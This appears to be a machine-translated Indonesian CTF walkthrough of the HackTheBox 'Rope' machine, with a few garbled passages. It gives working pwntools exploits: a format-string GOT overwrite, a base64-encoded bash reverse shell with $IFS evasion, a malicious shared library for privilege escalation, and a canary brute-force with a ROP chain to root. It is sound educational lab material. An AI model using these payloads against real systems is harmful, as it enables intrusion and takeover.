Retas Kotak. Walkthrough Rope. PWN. Memformat string dan ROP menggunakan pwntools

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .

Pada artikel ini, kami mengumpulkan banyak pwn, yang akan kami pecahkan menggunakan pwntools. Saya pikir ini akan bermanfaat bagi pembaca dengan tingkat kesadaran apa pun dalam topik ini. Ayo pergi ...

Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda masuk ke jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
, , Telegram . , , .

. , - , .

Recon


Mesin ini memiliki alamat IP 10.10.10.148, yang saya tambahkan ke / etc / hosts.

10.10.10.148    rope.htb

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

gambar

Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.

nmap -A rope.htb -p22,9999

gambar

Host menjalankan SSH dan server web. Kami akan pergi di web dan kami akan dipenuhi oleh formulir otorisasi.

gambar

Saat melihat pemindaian direktori, kami mendapatkan direktori yang tidak terindeks / (http: //rope.htb: 9999 //).

gambar

Dan di direktori / opt / www kita menemukan file yang dapat dieksekusi - ini adalah server web kami.

gambar

HTTPserver PWN


Unduh dan lihat apa perlindungannya dengan checksec.

gambar

Dengan demikian, kami memiliki aplikasi 32-bit dengan semua perlindungan yang diaktifkan, yaitu:

  • NX (not execute) — , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

Karena kenyataan bahwa kita dapat membaca file di server, kita dapat membaca peta proses dari file yang dapat dieksekusi ini. Ini akan memberi kita jawaban untuk pertanyaan-pertanyaan berikut:

  1. Alamat apa program tersebut diunduh?
  2. Dan di alamat apa perpustakaan digunakan olehnya dimuat?

Ayo lakukan itu.

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

gambar

Dengan demikian, kami memiliki dua alamat: 0x56558000 dan f7ddc000. Pada saat yang sama, kita mendapatkan path ke libc library yang digunakan, unduh juga. Sekarang, dengan mempertimbangkan semua yang ditemukan, kami akan membuat templat eksploit.

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

Sekarang buka file itu sendiri untuk analisis di disassembler nyaman bagi Anda (dengan dekompiler). Saya menggunakan IDA dengan banyak plugin, dan sebelum saya duduk untuk analisis mendalam, saya lebih suka melihat segala sesuatu yang saya dapat kumpulkan dari plugin yang terbukti. Salah satunya adalah LazyIDA . Dan untuk kueri "scan format string vuln" kita mendapatkan piring dengan fungsi yang berpotensi rentan.

gambar

Dari pengalaman menggunakan plugin ini, saya langsung menarik perhatian ke baris kedua (parameter formatnya). Kami beralih ke tempat penggunaan fungsi ini dan mendekompilasinya.

gambar

Dan tebakan dikonfirmasi, garis hanya dilewatkan ke fungsi printf. Mari cari tahu apa string ini. Mari kita pergi ke tempat panggilan ke fungsi log_access.

gambar

Jadi kami tertarik pada parameter ketiga, yang menandai IDA sebagai file. Dan kami mendapatkan jawaban untuk semua pertanyaan hanya dengan melihat referensi silang ke variabel ini.

gambar

Dengan demikian, ini adalah penunjuk ke string - nama file yang dibuka untuk dibaca. Karena variabel ini adalah hasil dari fungsi parse_request (), file dibuka untuk dibaca, dan seluruh program adalah server web, kita dapat mengasumsikan bahwa ini adalah halaman yang diminta di server.

curl http://127.0.0.1:9999/qwerty

gambar

Mari kita periksa kerentanan string format.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

gambar

Baik! Mari kita tentukan offset (berapa banyak% penspesifikasi yang perlu dikirim untuk mendapatkan 0x41414141 - AAAA di akhir output).

gambar

Kami mendapat 53. Periksa bahwa semuanya benar.

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

gambar

Kami tidak dapat memperoleh shell lokal, tetapi kami dapat menjalankan perintah, misalnya, melempar shell terbalik:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

Tetapi untuk menghindari karakter tidak nyaman, kami akan menyandikannya di base64, maka shell call akan terlihat seperti ini:

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

Dan pada akhirnya, ganti semua spasi dengan konstruk $ IFS. Kami mendapatkan perintah yang perlu Anda jalankan untuk mendapatkan koneksi kembali.

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

Mari kita tambahkan ini ke kode:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

Sekarang kembali ke string format kami. Karena putf dipanggil after printf (), kita dapat menulis ulang alamatnya di GOT ke alamat fungsi sistem dari libc. Berkat pwntools, ini sangat mudah dilakukan. Misalkan Anda bisa mendapatkan alamat relatif dari fungsi put menggunakan binary.got ['puts'], juga mudah dengan fungsi sistem: libc.symbols ['system']. Tentang garis format dan GOT saya jelaskan secara rinci dalam artikel tentang pwn, jadi di sini kita cukup mengumpulkan baris format menggunakan pwntools:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

Kami mengumpulkan muatan akhir:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

Kami terhubung dan mengirim:

p = remote(host,port)
p.send(payload)
p.close()

Kode lengkapnya terlihat seperti ini.

gambar

Ayo jalankan kode dan dapatkan koneksi kembali.

gambar

gambar

PENGGUNA


Mari kita periksa pengaturan sudo untuk mengeksekusi perintah tanpa kata sandi.

gambar

Dan kami melihat bahwa Anda dapat menjalankan readlog atas nama pengguna r4j. Tidak ada kerentanan dalam aplikasi, GTFOBins juga tidak ada. Mari kita lihat perpustakaan yang digunakan oleh aplikasi.

gambar

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

gambar

Artinya, kita bisa menulis ke file-file ini. Mari kita tulis perpustakaan kita.

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

Sekarang kompilasi.

gcc -c -Wall -Werror -fpic liblog.c

Dan kumpulkan perpustakaan.

Gcc -shared -o liblog.so liblog.o

Kemudian kami mengunggah file ke host, menimpa perpustakaan dan menjalankan program.

gambar

Jadi kami mengambil pengguna.

AKAR


Untuk mendaftar sistem kami menggunakan linpeas.

gambar

Jadi di localhost, port 1337 mendengarkan.

gambar

Seperti yang Anda lihat, pengguna kami adalah anggota grup adm. Mari kita lihat file yang tersedia untuk grup ini.

gambar

Ada file yang menarik. Dan ini adalah program yang mendengarkan pada port.

gambar

Dalam hal ini, aplikasi berjalan sebagai root.

gambar

Unduh aplikasi itu sendiri dan perpustakaan libc yang digunakannya. Dan perhatikan bahwa ASLR aktif di host.

gambar

Periksa perlindungan apa yang dimiliki aplikasi.

gambar

Semua maksimal. Yaitu, jika kita menemukan buffer overflow, kita perlu brute kenari (nilai yang diperiksa sebelum keluar dari fungsi untuk memeriksa integritas buffer), dan sebagai teknik untuk mengeksploitasi kerentanan, kita akan menggunakan ROP (yang saya tuliskan secara rinci)di sini ). Mari kita buka program di disassembler dengan decompiler yang nyaman bagi Anda (saya menggunakan IDA Pro). Kami mendekompilasi fungsi utama.

gambar

Contoh kenari adalah variabel v10, yang ditetapkan pada awal fungsi. Mari kita lihat apa fungsi sub_1267 bertanggung jawab.

gambar

Jadi di sini kita buka port untuk mendengarkan. Anda dapat mengubah nama menjadi is_listen (); kita melangkah lebih jauh. Fungsi yang ditentukan pengguna berikut adalah sub_14EE.

gambar

Sebelum mengirim, ada fungsi pengguna lain. Kami melihatnya.

gambar

Jadi, dalam fungsi ini, string hingga 0x400 byte diterima dan ditulis ke buffer. Komentar pada variabel buf menunjukkan alamat relatif ke dasar frame stack saat ini (rbp) - [rbp-40h], dan variabel v3 (canary) memiliki alamat relatif [rbp-8h], jadi untuk buffer overflow kita membutuhkan lebih banyak [rbp- 8h] - [rbp-40h] = 0x40-8 = 56 byte.

Dengan demikian, rencananya adalah sebagai berikut:

  1. temukan dan limpahkan buffer;
  2. letakkan kenari, rbp dan rip;
  3. sejak PIE diaktifkan, Anda perlu menemukan offset yang sebenarnya;
  4. menemukan kebocoran memori untuk menghitung alamat di mana perpustakaan dimuat;
  5. Kumpulkan ROP, di mana aliran deskriptor standar akan dialihkan ke deskriptor jaringan program, dan kemudian panggil / bin / sh melalui fungsi sistem.

1. buffer overflow


Seperti yang dapat dilihat di bawah ini, ketika mentransmisikan 56 byte, program ini terus bekerja secara normal, tetapi mentransmisikan 57 byte, kita mendapatkan pengecualian. Dengan demikian, integritas buffer dilanggar.

gambar

Mari kita membuat templat eksploit. Karena akan perlu untuk memilah-milah dan menghubungkan kembali banyak, kami akan menonaktifkan output dari pwntools (log_level) pesan.

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canary, RBP, RIP


Seperti yang kita ketahui, setelah 56 byte buffer ada kenari, dan setelah itu ada alamat RBP dan RIP di stack, yang juga perlu disortir. Mari kita menulis fungsi pencocokan 8 byte.

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

Jadi kami dapat membuat pre_payload:

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.PIE


Sekarang mari kita berurusan dengan PIE. Kami menemukan RIP - ini adalah alamat pengirim tempat kami kembali dari fungsinya. Dengan demikian, kita dapat mengurangi dari itu alamat pengirim dalam kode.

gambar

Dengan demikian, offset dari pangkalan adalah 0x1562. Mari kita tunjukkan alamat asli dari aplikasi yang sedang berjalan.

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4. Memori kebocoran


Aplikasi menggunakan fungsi write () standar untuk menampilkan string prompt, yang mengambil pegangan untuk output, buffer, dan ukurannya. Kita dapat menggunakan fungsi ini.

Untuk kenyamanan, mari gunakan modul ROP dari pwntools. Secara singkat, bagaimana dan mengapa ini berfungsi disajikan pada gambar di bawah ini.

gambar

Mari kita bocor, ini akan memberi tahu kita apa alamat fungsi tulis di perpustakaan libc yang dimuat.

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5. BATU


Mari kita ubah alamat pangkalan perpustakaan libc dan temukan alamat dari baris / bin / sh.

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

Tetap mengumpulkan ROP, di mana deskriptor I / O standar (0,1,2) akan dialihkan ke deskriptor yang terdaftar dalam program (4). Setelah itu fungsi sistem akan dipanggil, di mana kita akan melewati alamat baris / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

6. Operasi
kode eksploitasi penuh.

gambar

Sekarang di server, tulis kunci ssh ke file /home/r4j/.ssh/authorizef_keys.

gambar

Dan teruskan port (pastikan bahwa koneksi dari port lokal 1337 dialihkan melalui SSH ke port 1337 dari host jarak jauh).

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb

Dan luncurkan exploit.

gambar

Kami bekerja di bawah root.

Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles